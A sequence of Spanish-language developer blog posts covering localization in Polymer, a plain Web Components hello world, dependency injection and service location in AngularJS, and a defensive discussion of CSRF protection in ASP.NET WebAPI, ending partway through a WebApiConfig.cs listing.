Localización en Polymer

Tras una batería de propuestas con mis dos grandes compañeros @ismaelfaro y @javiervelezreye para hacer localizable una aplicación en Polymer, podéis imaginar la cantidad de sugerencias que pudimos proponer cada una de las partes. Vamos a eso que los desarrolladores acabamos llamando “sesión dedicada a hablar del sexo de los ángeles Guiño”. Con lo cual tras algunas vueltas y no pocas horas de meditación, voy con mi propuesta.

Para ello os voy a mostrar el resultado final y después pasare a desglosar cada una de las partes.

image

1. Estructura del proyecto

image

La carpeta componentes contiene dos subcarpetas polymer y plarform que son los dos requerimientos básicos para trabajar con Polymer, junto con core-ajax que es un componente desarrollado por el equipo de polymer para hacer llamadas ajax al servidor.

La carpeta customelements contiene un componente global para localizar y el json necesario para localizar nuestro Hello World, tanto en Español,como en Ingles.

Por último un archivo index.html donde vamos a utilizar nuestro componente.

En primer lugar vamos a ver la estructura del archivo translate.json.

image

Si observas en este archivo tanto el idioma Ingles como Español están en el mismo archivo, cosa que no me parece una buena practica pero para el ejemplo nos puede servir. Mis recomendaciones serían separar los idiomas en diferentes archivos, así como hacer un archivo para cada idioma y por componente, entidad de dominio,etc.. al igual como un archivo global para cada idioma donde vamos a introducir textos como cancel,yes,no, etc,etc.

Y porque esta separación, pues sencillo, principalmente por temas de responsabilidad única así como la capacidad de hacer tu app más escalable.

Puedes utilizar dos estrategias dependiendo del volumen de tu app, si esta es pequeña podrías concatenar todo los archivos con herramientas como Grunt o Gulp y si tu app es muy grande podrías cargar los archivos de idiomas por separado para cada componente, como podéis imaginar todo tiene sus ventajas e inconvenientes, la primera tiene una carga grande y menos round-trip al servidor y la segunda cargas pequeñas y muchos round-trip, con lo cual te dejo que seas tu el que decidas que hacer en función del tamaño de tu app, pero eso sí separa los archivos por idioma y por alguno de los criterios que ya he comentado, o por cualquiera que te parezca apropiado, piensa que esto no es una doctrina.

Una vez descrito como deberías localizar tus resources vamos con nuestro componente responsable de la carga.

   1: <link rel="import" href="../components/polymer/polymer.html">

   2: <link rel="import" href="../components/core-ajax/core-ajax.html">

   3:  

   4: <polymer-element name="my-translate" attributes="culture url">

   5:     

   6:     <template>

   7:         <style>

   8:             :host{

   9:                 display: none;

  10:             }

  11:         </style>

  12:         <core-ajax id="resources" auto url="{{url}}" handleAs="json" on-core-response="{{handleResponse}}"></core-ajax>        

  13:     </template>

  14:     

  15:     <script>

  16:             Polymer("my-translate",{

  17:               culture:'en',

  18:               url:'../customelements/translate.json',              

  19:               handleResponse:function(event,response){

  20:                  this.data = response.response;

  21:                  this.setModel();                    

  22:               },

  23:               cultureChanged:function(oldValue, newValue){

  24:                   if(oldValue!==newValue){

  25:                     this.setModel();

  26:                   }

  27:               },

  28:               urlChanged:function(oldValue,newValue){

  29:                   if(oldValue!==newValue){

  30:                     this.$.resources.go();

  31:                   }

  32:               },

  33:               setModel:function(){

  34:                   var culture = this.culture || "en",templates,i;

  35:                   if(this.data){                      

  36:                       templates = document.querySelectorAll("[is*='auto-binding']");

  37:                       if (templates){

  38:                           for(i=0;i<templates.length;i++){

  39:                               templates[i].model.res=this.data[culture];

  40:                           }

  41:                       }

  42:                   }

  43:               }

  44:             });

  45:     </script>

  46:     

  47: </polymer-element>

Vamos a analizar cada una de las partes de nuestro componente.

1. Carga de las dependencias necesarias.

image

En la primera línea cargamos polymer.html necesario para poder implementar cada uno de los componentes que realicemos.

En la segunda línea cargamos core-ajax.html necesario para cargar los archivos json desde nuestro servidor.

image

En esta línea describimos el nombre de nuestro componente(requerido) así como los atributos:

culture: para asignar la cultura a nuestro componente.

url : Le indicará a nuestro componente cual es la url desde donde vamos a cargar nuestro json con los resources traducidos.

Para ello necesitamos el tag “polymer-element”, que a su vez no es otra cosa que un componente global descrito en polymer y que nos sirve para crear cada uno de nuestros componentes.

image

En esta parte estamos describiendo en un template de Polymer por una parte el estilo de nuestro componente que en este caso lo defino como un componente no visual y es por eso por lo que utilizamos :host con display a none. Te recomiendo revisar cada una de las posibilidades que tienes con respecto a estilos en Polymer.

Styling elements 

Lo segundo es la utilización de core-ajax a la que le asignamos los siguientes atributos y control de eventos.

auto: Carga automáticamente el resuorce sin la iteración del usuario.

url: Url donde se encuentra nuestro resource y que obtiene el valor del atributo url de nuestro componente con binding.

handleAs: Le estamos indicando a nuestro componente que el recurso es del tipo application/json aunque lo envía como application/x-www-form-urlencoded, quizá algún error en core-ajax, pero tampoco he entrado a analizar más puesto que funciona correctamente.

on-core-response: Esto es la suscripción a un evento que expone core-ajax y que se encarga de obtener la respuesta del servidor en caso que sea correcto, también puedes observar que esta bindeado en este caso a la función de nuestro componente handleResponse.

id: Si en cualquiera de los elementos de una template dentro de un componente se especifica un id, este será accesible desde el componente y desde fuera de este a través del objeto $, con lo cual para acceder a este componente puedes utilizar desde dentro de tu componente this.$.resource y desde fuera document.querySelector(‘my-translate’).$.resource.

Por último vamos con el JavaScript necesario en nuestro componente.

image

En primer lugar la asignación de los valores por defecto tanto para culture como url, en este caso “en” para culture y “../customelements/translate.json” quizá te preguntes el porque tengo que subir un nivel en la url y después descender a customelements cuando este resource se encuentra en la misma carpeta de mi componente, pues sencillo, piensa que este se va a consumir desde nuestra página index.html que se encuentra en un nivel superior. De esta forma puedes deducir que quizá una buena practica sería poner todos los resources en una carpeta especifica, pero como siempre es algo que debes de decidir tu.

handleResponse. Esta función es la suscripción al evento core-response del componente core-ajax que recibe tres argumentos, el primero de ellos es un customEvent, el segundo es la respuesta del servidor y en response tenemos el json y es por eso que se lo asignamos a data.

this.data = response.response.

El último de los argumentos y que no estamos utilizando es en sí el componente core-ajax.

Una vez que asignamos la respuesta a nuestra variable data, llamamos a la función SetModel. Lo ideal que yo no he hecho hubiese sido encapsular este valor, puesto que yo lo estoy exponiendo como público al  asignarlo a this.data,  se supone que tienes claro como poder encapsular datos en JavaScript y en el caso de Polymer lo puedes hacer con una función anónima y autoejecutable.

cultureChanged: Es una función que observa el cambio del atributo/propiedad culture y que llama a setModel. recibe dos parametros oldValue y newValue, como puedes observar siempre que utilices una función que observe el cambio de una propiedad por convención debe de terminar en Changed y precedida del nombre del atributo, otra cosa que deberías es siempre preguntar si oldValue no es igual a newValue, para ejecutar tu lógica.

urlChanged: Observa el cambio de url y en este caso si oldValue es distinto de newValue llama a la función go nuestro componente core-ajax para volver a cargar los datos.

En Polymer a diferencia de Angular no se utiliza dirty checking sino Object.Observe y que si quieres conocer más te recomiendo que analices el siguiente repositorio que es el que utiliza Polymer.

https://github.com/Polymer/observe-js

setModel: Está función lo que hace es seleccionar todas las templates de nuestra página que contengan el atributo is con valor igual a auto-binding y observa que le asigno a la propiedad model de la template el valor de data en la propiedad res y porque esto? Sencillo por separar en nuestra template los datos con una cierta lógica, es decir que en nuestro caso siempre accederemos a estos via binding de la siguiente forma.

{{res.hello}} para acceder al valor del resource hello de nuestro json, así como para acceder a world lo haremos con {{res.world}}.

Una vez analizado nuestro componente vamos con la parte de consumir este, aunque vamos a ser más breves.

image

1. Cargamos platform.js necesario para cualquier app Polymer.

2.Utilizamos link con rel igual a import para importar nuestro componente translate.

3. Establecemos un estilo con color a rojo para cada una de los tag hx con valor par, es decir h2,h4 y h6.

4. Creamos nuestra template con un header y todos los hx con el siguiente binding {{res.hello}}-{{res.world}} y el atributo is a valor auto-binding Advanced topics. Realmente es una cosa que me pregunto y es si en realidad esto afecta a SEO o por otra parte el esfuerzo que están haciendo todos por indexar páginas con JavaScript, convierta esto en un estandar, espero que sea así, puesto que sino poco sentido le veo al esfuerzo que se está realizando con WebComponents. En este caso una vez que se ha bindeado la template el contenido de esta se inserta justo detras de ella, como puedes observar.

image

5. Insertamos nuestro elemento “my-translate” en nuestra página y recuerda que no será visible, puesto que le indicamos en su estilo que la propiedad display estaba establecida a none.

6. Por último nos suscribimos al evento WebComponentsReady y cambiamos la cultura de nuestro componente, es evidente que esto lo podrías hacer desde un elemento select, etc,etc.

Si has montado todo el proyecto tal y como lo hemos descrito en el post, te invito a que ejecutes las siguientes líneas desde la consola del explorador.

document.querySelector(‘my-translate’).culture="en"

Resultado.

image

var response = document.querySelector(‘my-translate’).$.resources.go()

response.response

Resultado.

image

Conclusiones.

Como ya he comentado en el post esto no pretende ser una doctrina a la hora de aplicar localización en Polymer, pero si puede ser una aproximación de como hacerlo.

Lo que si que tienes que tener en cuenta cuando tu hagas un componente es exponer todas las propiedades localizables como atributos para poder hacer binding, al igual que lo hacen los Paper Elements de Polymer

Por último la url del repositorio, por si queréis jugar o proponer nuevas funcionalidades.

Polymer translate

Hello World con WebComponents

Lo fácil de este post hubiese sido hacer lo que vais a ver con Polymer que tan de moda está últimamente. Pero lo mejor desde mi punto de vista como lector es que comprendas el funcionamiento de WebComponents puesto Polymer en si no es más que un conjunto de Polyfills sobre la especificación y resolución de binding, cosa que desde mi punto de vista le falta a la especificación. Que sentido tiene tener templates y no haber resuelto el Binding.

Hoy vamos a empezar al revés y es mostrando el resultado de nuestro componente en los tres principales exploradores.

Chrome Versión 36.

image

Firefox 31.

image

Internet Explorer 11.

image

Es evidente que a fecha de hoy solamente puedes hacer pruebas sobre Chrome y si realmente quieres probar en todos no te queda otra que utilizar Polymer donde puedes ver la tabla de compatibilidad con los diferentes browser Browser Compatibility o bien Brick con Xtag.

Bueno visto esta pequeña introducción vamos con el proyecto completo y la explicación de cada uno de los componentes.

image

  1. index.html Archivo de inicio de nuestro app.
  2. hell-world.html Archivo donde vamos a definir el html y el css junto con una referencia a hello-world.js y que realmente es nuestro componente
  3. hello-world.js. Archivo JavaScript con la lógica de nuestro componente.
  4. style.css Archivo css de nuestra aplicación.

1. html de nuestro componente(hello-world.html).

image

Fijate en primer lugar en el nuevo elemente template este no es más que un nuevo elemento del DOM para este propósito. Que guarda el contenido del html pero sin ejecutar absolutamente nada, es decir que si tu tienes en tu template una etiqueta img hasta que no lo utilices no va a descargar absolutamente nada. Se basa en document fragment que esta presente sino mal recuerdo desde IE8.

document.createDocumentFragment

En segundo lugar definimos el estilo que queremos para nuestro componente y fíjate en el selector host que es el estilo que tu quieres dar a tu componente y que cualquier otra persona que lo consuma lo puede modificar desde fuera. También puedes utilizar host(<selector>).

Otra cosa que es de destacar es el uso de content y observa el atributo select. Le estamos diciendo en este caso que cuando alguien en nuestro componente utilice tag de tipo p los traiga a esa posición. No tienes límite a la hora de poner contents y si obvias el atributo select, te traerá todos los elementos que agrupe tu componente. En el caso de tener contents con select y uno sin ellos en este ultimo traerá todos los elementos hijos no seleccionados en el resto. Te recomiendo leer las especificaciones de estos dos nuevos elementos HTMLContentElement y HTMLShadowElement.

Te invito a que juegues con estas instrucciones JavaScript desde la consola de tu explorador una vez montado todo el ejemplo.

var hello =document.querySelector(‘hello-world p’)
hello.getDestinationInsertionPoints()
var content = hello.getDestinationInsertionPoints()[0]
content.getDistributedNodes()

Realmente tienes que tener en cuenta getDestinationInsertionPoints que te va a informar de donde ha sido insertado el tag p y desde este puedes ver los nodos que se han seleccionado con getDistributedNodes.

¿Como detectar que tu explorador soporta templates?

Sencillo ejecuta la siguiente instrucción desde la consola y si devuelve true tu navegador será compatible con templates.

‘content’ in document.createElement(‘template’)

2. Lógica de nuestro componente(hello-world.js)

image

Vamos con el análisis de este código.

En primer lugar vamos a destacar el uso de document.currentScript este nos va a dar acceso al documento de nuestro componente a través de la propiedad ownerDocument.

Seguidamente seleccionamos con querySelector el elemento template.

Definimos una función privada donde cambiamos nuestro strong con el valor del atributo who.

Creamos nuestro componente y para ello tenemos que heredar de HTMLElement.

A nuestro elemento le agregamos las siguientes funciones.

createCallback: Se ejecuta cuando se crea el componente y en nuestro caso creamos un ShadowRoot e importamos dentro de el el contenido de la template.

attachedCallback: Se ejecuta una vez que el elemento ha sido insertado en el DOM.

attributeChangedCallback. Se ejecuta cuando un atributo es agregado,modificado o eliminado y en nuestro caso nos sirve para observar el atributo who de nuestro componente y llamar a nuestra función setWho que cambia el textContent del strong . Recibe tres parametros el nombre del atributo, el valor antiguo y el nuevo valor.

Existe una cuarta función que es detachedCallback y que en este ejemplo no estamos utilizando y se ejecutaría una vez que quitemos el elemento del DOM.

Si quieres probar su funcionamiento impleméntala y ejecuta esta línea desde la consola de tu explorador.

document.body.removeChild(document.querySelector(‘hello-world’))

Por ultimo registramos nuestro componente llamando a la función document.registerElement a la que le pasamos dos parámetros:

1. El nombre de nuestro componente.

2. Un objeto con la propiedad “prototype” que apunta a nuestro elemento. Este objeto también acepta la propiedad extend(string) para poder heredar de un elemento del DOM como un button o bien de un componente creado por nosotros.

Bueno pues a estás alturas ya tenemos nuestro componente creado y es hora de consumirlo en nuestra página index.html.

image

Ves que sencillo es 🙂 en nuestro html tenemos que hacer lo siguiente.

1. Importar nuestro elemento con la siguiente instrucción.

<link rel=”import” href=”hello-wold.html”>

Observa que el rel con valor a import es el que hace que nuestro componente se pueda utilizar.

Para saber si tu explorador lo soporta ejecuta la siguiente instrucción.

‘import’ in document.createElement(‘link’)

De esta nueva funcionalidad hay bastante que hablar respecto a seguridad pero la abordaré en otro post.

2. Por último simplemente lo que hacemos es agregar nuestro elemento al html.

<hello-world who="querido lector {{time}}" ng-repeat="time in times">
            <p>te saludo desde un web component</p>
</hello-world>

Quizá en este momento si has trabajado con Angular te darás cuenta rápidamente que estoy utilizando Angular y tu te puedes preguntar pero es necesario Angular para todo esto. La respuesta es no. Simplemente quería demostrar que la compatibilidad con Angular es total, así como con cualquier librería que utilices. Y no pienses solamente en acciones que se pueden hacer desde el cliente, esto funcionaría perfectamente desde una vista Razor(MVC) o Jade(Node) y haciendo un foreach dentro de esta.

Por último vamos a comentar el archivo css.

image

Unos selectores un tanto raros y sobre todo ese /deep/. Que estamos haciendo? Sencillo modificando el color del strong de nuestro componente como consumidores del componente. Observa que el css del componente selector host le dije que el background era rojo y el color blanco pero en ese css establecí el selector strong a color blue. Vamos que soy del Barça Guiño, pero una vez que lo he visto en el browser porque no declarar mi otra pasión futbolística que es ser “español” “español” “español”, por eso le cambio el color a yellow como consumidor XDDDD.

Referencias.

HTML Imports

Custom Elements

HTML’s New Template Tag

Shadow DOM 101

Shadow DOM 201

Shadow DOM 301

Custom Events

Data-binding Revolutions with Object.observe()

MutationObserver

WebComponents

Polymer

Brick con Xtag

Por último os dejo el código completo para que podías probar y recuerda que solo funciona en Chrome.

Código fuente de todo el post

Conclusiones.

Que si como desarrollador web no ves que es necesario su implementación en todos los exploradores, me estás demostrando que lo tuyo no es la reutilización sino más bien el copy/paste.

Que librerías como JQuery y otras parecidas poco sentido tienen y en este aspecto es cuando si veo a WebComponents como una verdadera revolución y sobre todo por la capacidad de encapsulación del css ,al igual que lo fue en su momento JQuery.

Por último para esas personas que las hay tanto en un bando como en el otro, vamos a los que yo llamo talibanes. A mi me da lo mismo que esto lo haya propuesto Google.

Que Polymer sea de Google, que Angular sea de Google me la …., en definitiva que ya que hubiesen muchos Google’s y que los otros vayan corriendo a implementar estás funcionalidades que falta nos hacen a todos y que no hacen otra cosa que desde mi punto de vista de mejorar la web.

Y por último aunque debería ser “off topic” por aquello de no marranear  “el comparte lo que sepas, sin ningún tipo de interés” . Me voy a centrar en esas personas que no ven más que conspiraciones contra Internet Explorer, o más bien no saben que las mayores conspiraciones las ha hecho este  durante más de 20 años. Por una vez me siento feliz de ver que sus números son poco preocupantes en cuanto a impacto y cada día me preocupa menos su presencia y que cualquiera de las instrucción que aquí he expuesto tardarán como poco un par de años en estar totalmente operativas. Si a esto le sumo que nadie es capaz de decir públicamente lo que hace falta, veo una comunidad detrás de todo esto como poco “PODRIDA”. Así que seguir abogando en contra de lo imposible, y de esta forma es fácil responder en twitter a las tonterías con un simple hastag #ignorante. Con eso soluciono el problemas de mantener conversaciones tipo #salvame y simplemente las convierto en serias diciendo #ignorante.

Inyección de dependencias en Angular

Hace unos días mi compañero XaviPaper y yo nos plantemos crear un repositorio en github MagicCrudAngular y si te centras exclusivamente en el nombre quizá no veas más que una solución para hacer Crud.

Bueno, pues ya te digo yo que no. Se puede resolver cualquier llamada a servicios REST de forma declarativa(es decir sin escribir ni una sola línea de código JavaScript).

Quizá a estás alturas te puedes preguntar y que tiene que ver esto con DI(Inyección de dependencias), pues sencillo gracias a la potencia de Angularjs en este campo, puedes hacer maravillas como esta.

Para ello os voy a explicar como funciona la DI en Angularjs.

1. Declaras un modulo con la siguiente instrucción.

angular.module(‘myModule’,[],config);

El primer parámetro es el nombre de tu módulo(requerido).

El segundo parámetro es una array de string con los módulos de los que depende tu módulo(requerido empty sino tienes dependencias).

El tercer parametro es una función de configuración.

2. Una vez tengas declarado tu módulo puedes acceder al módulo llamando a la misma función con el nombre de tu módulo.

angular.module(‘myModule’)

Es justo en este momento cuando empiezas a trabajar con el contenedor de dependencias registrando dependencias a través de los métodos.

-directive.

-service.

-factory.

-provider.

-value.

-constant.

-filter

-config

-run

Excepto value y constant que no tienen otro objetivo que almacenar valores y constantes el resto de métodos tienen la siguiente firma.

Un ejemplo de un factory.

angular.module(‘myModule’).factory(‘myFactory’,function($http){});

El primer parámetro es el nombre de tu factoría y el siguiente una función a la que se le va a injectar como parametro el provider $http.

Las formas de declarar las dependencias de una función se pueden hacer de tres formas.

1. De forma implícita. Es decir asumes que el nombre del parámetro es un objeto registrado en el contenedor. Esto tiene un gran problema y es a la hora de minificar tu código. Con lo cual solo lo tienes que utilizar para pruebas, o teniendo claro que nunca vas a minificar. Esta forma es desaconsejable.

angular.module(‘myModule’).factory(‘myFactory’,function($http){});

2. $inject property annotation. Declaras una función de javaScript y después una propiedad estática llamada $inject, que es una array de string con el nombre de los objetos que vas a inyectar a tu función.

   1: var myFactory = function(http){

   2: }

   3: myFactory.$inject=[‘$http’]

   4: angular.module(‘myModule’).factory(‘myFactory’,myFactory);

Observa que en $inject le decimos en este caso que queremos inyectar en la función myFactory el provider $http en el primer parametro, en este caso solo tiene uno. y después al parámetro le podemos llamar como queramos, en mi caso http. Concretamente es el que normalmente utilizo yo.

Te recomiendo esta lectura

Function Declarations vs. Function Expressions

El motivo no es otro que tu en JavaScript puedes hacer lo mismo a través de una función autoejecutable.

   1: (function(module){

   2: myFactory.$inject=[‘$http’]; 

   3: function myFactory(http){

   4: }

   5: module.factory(‘myFactory’,myFactory);

   6: })(angular.module(‘myModule’);

3.Inline array annotation. se suele utilizar en provider y directives por aquello que puedes tener varias funciones inyectables.

La forma para nuestro ejemplo sería esta.

   1: angular.module('myModule',['$http',function(http){}]);

Esta al igual que la anterior resuelve el problema de los minificadores, pero yo entre otras cosas la veo engorrosa con lo cual la intento evitar en la medida de lo posible.

El service locator.

En nuestro caso y dada la versatilidad de nuestro componente, nos encontramos que al analizar todo nuestras funciones podían tener un numero muy grande de parámetros y la verdad que nos gustaba poco, con lo cual lo que hicimos fue resolver muchas dependencias por medio de service locator.

La pregunta es como puedo acceder a service locator en angular.

Pues hay varias formas.

1. Inyectar como parámetro a una función $inject.

2. Utilizar el método global angular.injector de la siguiente forma.

angular.injector([‘ng’]);

Recibe un paremetro que es una array de los módulos que tienes.

3. Obtenerlo a través de angular.element.

angular.element(document.body).injector();

El parámetro es un elemento html.

4. Por medio de data en un angular.element.

angular.element(document.body).data(‘$injector’);

De todas en producción solo debes de utilizar la primera, el resto las puedes utilizar para depuración.

Una vez que obtienes el injector te devuelve un objeto con la siguiente firma

image

-has. Devuelve true o false al invocarlo y como parametro se le pasa el nombre del servicio.

injector.has(‘$http’)

Devuelve true.

-get. devuelve la instancia del objeto.

injector.get(‘$http’);

Devulve el provider $http

Este método lanza una excepción si el servicio no se encuentra registrado en el contenedor de dependencias.

annotate. Se le pasa una función y nos devuelve un array de los parametros que tiene. Si tiene $inject devuelve este y sino pasa una expresión regular y construye el $inject.

angular.injector([‘ng’]).annotate(function(x,y){});

En este caso devuelve un array de string de la siguiente forma.

[‘x’,’y’]

Con lo cual he aquí el misterio de la inyección de dependencias en angular, analizo los parámetros de una función , llamo a get y guardo en cache para devolverlo la siguiente vez.

-invoke. Nos permite llamar a una función e inyectarle los parametros necesarios. Con este método se llama a una función por invocación.

angular.injector([‘ng’]).invoke(function($http){console.log(this)});

Puedes ver que el resultado y this es el objeto global window.

Utilizado para llamar a factorias en Angular.

Esto es equivalente a ejecutar en JavaScipt;

var x = (function(){console.log(this)})()

-instantiate. Hace lo mismo que invoke pero la llamada la hace a través de un constructor.

angular.injector([‘ng’]).instantiate(function($http){console.log(this)});

Observa que en este caso this no es window, sino la instancia del objeto.  Se utiliza para servicios,providers y controllers

Esto es equivalente a hacer en JavaScript.

var x = new function(){console.log(this)}.

Es justo en este momento cuando vas a ser capaz de entender porque todos los servicios,factorias,provider y directivas son Singleton. 

La respuesta es sencilla, angular a través de injector y una vez que llamas al método get. almacena en cache la instancia del objeto.

   1: function getService(serviceName) {

   2:       if (cache.hasOwnProperty(serviceName)) {

   3:         if (cache[serviceName] === INSTANTIATING) {

   4:           throw $injectorMinErr('cdep', 'Circular dependency found: {0}', path.join(' <- '));

   5:         }

   6:         return cache[serviceName];

   7:       } else {

   8:         try {

   9:           path.unshift(serviceName);

  10:           cache[serviceName] = INSTANTIATING;

  11:           return cache[serviceName] = factory(serviceName);

  12:         } catch (err) {

  13:           if (cache[serviceName] === INSTANTIATING) {

  14:             delete cache[serviceName];

  15:           }

  16:           throw err;

  17:         } finally {

  18:           path.shift();

  19:         }

  20:       }

  21:     }

Que objetos son por instancia, exclusivamente los controlladores y los scopes.

Hay gente que se pregunta el porque. Para mi es sencillo, ahorro de memoria, performance, etc. Y aunque en un principio, puede llegar a ser traumático una vez que te acostumbras puedes vivir perfectamente con singleton en factorias,servicios y providers.

Hay una forma de resolver esto y es crear una factoria que devuelva una nueva instancia de un objeto, pero esto es algo que se puede hacer en el propio JavaScript y es muy utilizado en Node.js.

Os pongo un ejemplo.

   1: module.factory('myFactory', function ($http) {

   2:  

   3:         var myInstance = function () {

   4:  

   5:         }

   6:         myInstance.prototype.show = function () {

   7:  

   8:         };

   9:         ....

  10:         return{

  11:             getInstance:function(){

  12:                 return new myInstance();

  13:             }

  14:         }

  15:     });

 

Como puedes observar retorno una función getInstance que al ser invocada devuelve una nueva instancia del objeto myInstance. Con lo cual solucionado el problema de singleton en factorias,servicios y providers aunque no es aconsejable ,excepto que realmente lo necesites.

Como ya hemos explicado anteriormente utilizamos service locator para poder hacer dinámica la declaración de dependencias. Os pongo un ejemplo de la directiva mg-ajax para el comportamiento de un index.

<mg-ajax data-path=’invoices’ data-options=’mgIndex/>

Que va a hacer esto en nuestro html.

1. Llamar a nuestro controlador invoices y simular el comportamiento de un index.

2. Crear un array de invoices en la cual podemos iterar perfectamente para dibujar nuestras facturas

Para ello tenemos un comportamiento predefinido de esta forma para el atributo data-options.

module.factory(‘mgIndex’, function () {

       return {

           as: ‘index’,

           init: ‘index.filter={page:0,records:20}’,

           isArray:true,

           method: ‘query’,

           service: ‘mgHttp’,

           cacheService: ‘mgCacheFactory’,

           cache: ‘["filter"]’,

           before: ‘mgBeforeHttpFactory’,

           success: ‘mgSuccessFactoryIndex’,

           error: ‘mgErrorHttpFactory’,

           cmd: ‘mgCommandIndex’,

           auto: ‘accept’

       };

   });

Os paso un link al código fuente donde podéis ver más claro el uso de service locator.

Utilización de service locator

Como podéis observar iteramos por una array de string para resolver las dependendencias de nuestro controlador en la directiva mg-ajax.

Referencias.

Dependency Injection en Angular

Service locator en angular

$injector

Conclusiones

En este y en otra serie de post voy a explicar cada una de las cosas que se pueden hacer con el repositorio mgcrud y te vas a dar cuenta como se pueden resolver casi el 98% de los casos de invocación a servicios RESTfull de forma declarativa.

En el siguiente post explicare a fondo el funcionamiento de

-$parse

-scope.$eval.

-$interpolate

Para de esa forma cerrar el ciclo de la declaración dinámica a través de html en angularjs y posteriormente pasar a explicar cada una de las diferentes opciones que ofrece mgcrud.

 

 

 

El despropósito II parte

Amigo @eiximenis, me vas a permitir que en este post te llame como te mereces Sr. Don Eduard Tomas i Avellana y no es por hacerte la pelota, sino más bien por felicitarte por ese gran post.

Sobre WebApi, cookies y CSRF

En respuesta a este otro post mío.

Una evidencia, una fricada y un despropósito

Pero claro llego el momento de dejar los elogios, para empezar a darte cera de la buena Lengua fuera.

Si te tuviera que calificar, según lo que expones en el post optaría por evaluar dos cosas.

1. Seguridad. La nota para ese DelegatingHandler es un 10, si quieras que te sea sincero, estuve mirando esa posibilidad puesto que estas propuestas no me terminaron de convencer, dado que puedes tener algún problema de XSS y tu token puede ser vulnerable a robos y por tanto mala solución es.

Preventing CSRF Hacks in ASP.NET WebAPI

Preventing Cross-Site Request Forgery (CSRF) Attacks

Cosa que en MVC ese robo es bastante complicado puesto que va en un hidden y la única forma de acceder a el por parte de un usuario malicioso es hacer una petición GET desde un IFrame, pero en la actualidad como bien sabes los exploradores prohíben el acceso al contentDocument de un IFrame, menos mal.

Aunque algún intento con SVG FILTERS me consta que se ha hecho.

PIXEL PERFECT TIMING ATTACKS WITH HTML5

Que cosas fueron las que me decidieron no utilizar Referrer.

Que cuando hice las pruebas de CSRF me di cuenta que Chrome enviaba la cabecera Origin además de la cabecera Referrer por contra Internet Explorer y Firefox solo enviaban Refererr. Eso me llevo a investigar y encontrarme con esto.

The Web Origin Concept

Si quieres que te sea sincero la apoyo frente al envió de Referrer puesto que como usuario salvaguarda bastante más mi privacidad ya que solo se envía protocolo dominio y puerto.

-Que existe un Meta referrer donde yo como administrador de una web lo puedo colocar y ningún explorador va enviar el Referrer y que no tiene otro objetivo que proteger la privacidad de mis usuarios.

<meta name=»referrer» content=»never»>

En tu defensa tengo que decir que dejas muy claro que nunca se utilice una WebApi que se autentique por Cookie para exponer a terceros.

solo debes permitir autenticación por cookies en tus servicios web api si y solo si, son servicios web api pensados para ser usados tan solo desde la propia aplicación web. Y si lo haces asegúrate de establecer algún mecanismo adicional de seguridad para evitar CSRF.

Si por algún caso no se cumple el punto anterior y optas como dices por implementar un mecanismo de seguridad para evitar CSRF.

Que pasa si WebApi esta en un extremo http y yo consumo tu api desde un protocolo https.

Pues te lo digo que jamás te va a llegar el Referrer.

HTTP referer lee atentamente el aparatado Referer hiding

a website is accessed from a HTTP Secure (HTTPS) connection and a link points to anywhere except another secure location, then the referer field is not sent.[9]

Si te fijas ese [9] te va a llevar a este otro link donde se expone muy claramente ese punto.

15.1.3 Encoding Sensitive Information in URI’s

 

-Que siguiendo con ese mismo punto otra cosa que se expone muy clara y que evidentemente no se cumple, es que todos los agentes de usuario deberían de exponer un mecanismo para activar y desactivar el envió de la cabecera http referrer.

Cosa que como es de suponer se incumple por parte de todos excepto por Firefox.

Browser Privacy: How to Disable HTTP Referer, como es negra y a alguno le puede dar miedo entrar os voy a copiar lo que dice la web.

Mozilla Firefox

1. Type about:config in the address bar and press Enter.

2. Find the entry that says Network.http.sendRefererHeader and double-click on it.

3. Set the entry to one of the following:

0 – Disable referrer. <— This is what you want to set it as
1 – Send the Referer header when clicking on a link, and set document.referrer for the following page.
2 – Send the Referer header when clicking on a link or loading an image.

Google Chrome

Google Chrome does not allow you to disable this through any of their own features. In order to disable your HTTP Referer in Chrome, I recommend an extension such as this one:https://chrome.google.com/webstore/d…llklmbakbphhll

Opera

You can disable the HTTP Referer so that the browser is not sending it with your HTTP requests. In Opera, go to opera:config#UserPrefs|EnableReferrer, then uncheck the box, and finally save.

Apple Safari

Use a different browser. Safari currently does not have any working plugins or extensions that can successfully do this. If anyone is aware of one that works, comment or send me a PM and I will test it on my iMac to confirm.

Internet Explorer

Use a different browser. Internet Explorer in itself is outdated, bulky, resource intensive, and lacks many features that come standard with most other browsers. And on top of that Microsoft has stated there is no way to disable HTTP Referer on Internet Explorer, nor do they intend to add such a feature.

Por todas estás cosas es por las que no me parece acertado utilizar referrer como mecanismo para prevenir CSRF

2. Privacidad. Visto los puntos anteriores es evidente que estás utilizando mi privacidad como usuario para garantizar la seguridad de tu aplicación y es por eso por lo que en este apartado te tengo que poner un buen cerapio “0” seguro que es el primero que sacas en tu vida Lengua fuera.

Así que para resumir tu post de ayer con el que estoy en casi todo de acuerdo menos en la utilización de Referrer no me queda otra que evaluarte con un Suficiente Pelado Sonrisa.

Resumiendo que soy partidario de quitar los MediatypeFormatter que soportan Content-Type:application/xxx-form-urlencoded y que no son otros que.

JQueryMvcFormUrlEncodedFormatter.

-FormUrlEncodedMediaTypeFormatter.

En definitiva que a partir de este momento voy a dejar mi WebApiConfig.cs que está en la carpeta App_Start de la siguiente forma.

   1: public static class WebApiConfig

   2:     {

   3:         public static void Register(HttpConfiguration config)

   4:         {

   5:             //http://www.dotnetcurry.com/showarticle.aspx?ID=890            

   6:  

   7:             // Si estás lineas no las ejecutas tu api va a permitir 

   8:             // Content-Type:application/xxx-form-urlencoded y por tanto si te autenticas

   9:             // por cookie tu aplicación va a ser vulnerable a ataques del tipo CSRF

  10:             // http://es.wikipedia.org/wiki/Cross_Site_Request_Forgery

  11:  

  12:             // Es decir que debes de implementar una estrategia CSRF en tu aplicación

  13:             //http://www.asp.net/web-api/overview/security/preventing-cross-site-request-forgery-(csrf)-attacks

  14:  

  15:             var removeFormaters = GlobalConfiguration.Configuration.Formatters

  16:                 .Where(x => x.GetType() == typeof(JQueryMvcFormUrlEncodedFormatter) || x.GetType() == typeof(FormUrlEncodedMediaTypeFormatter))

  17:                 .ToList();

  18:  

  19:             foreach (var formater in removeFormaters)

  20:             {

  21:                 GlobalConfiguration.Configuration.Formatters.Remove(formater);

  22:             }

  23:  

  24:             config.Routes.MapHttpRoute(

  25:                 name: "DefaultApi",

  26:                 routeTemplate: "api/{controller}/{id}",

  27:                 defaults: new { id = RouteParameter.Optional }

  28:             );

  29:  

  30:             // Quite los comentarios de la siguiente línea de código para habilitar la compatibilidad de consultas para las acciones con un tipo de valor devuelto IQueryable o IQueryable<T>.

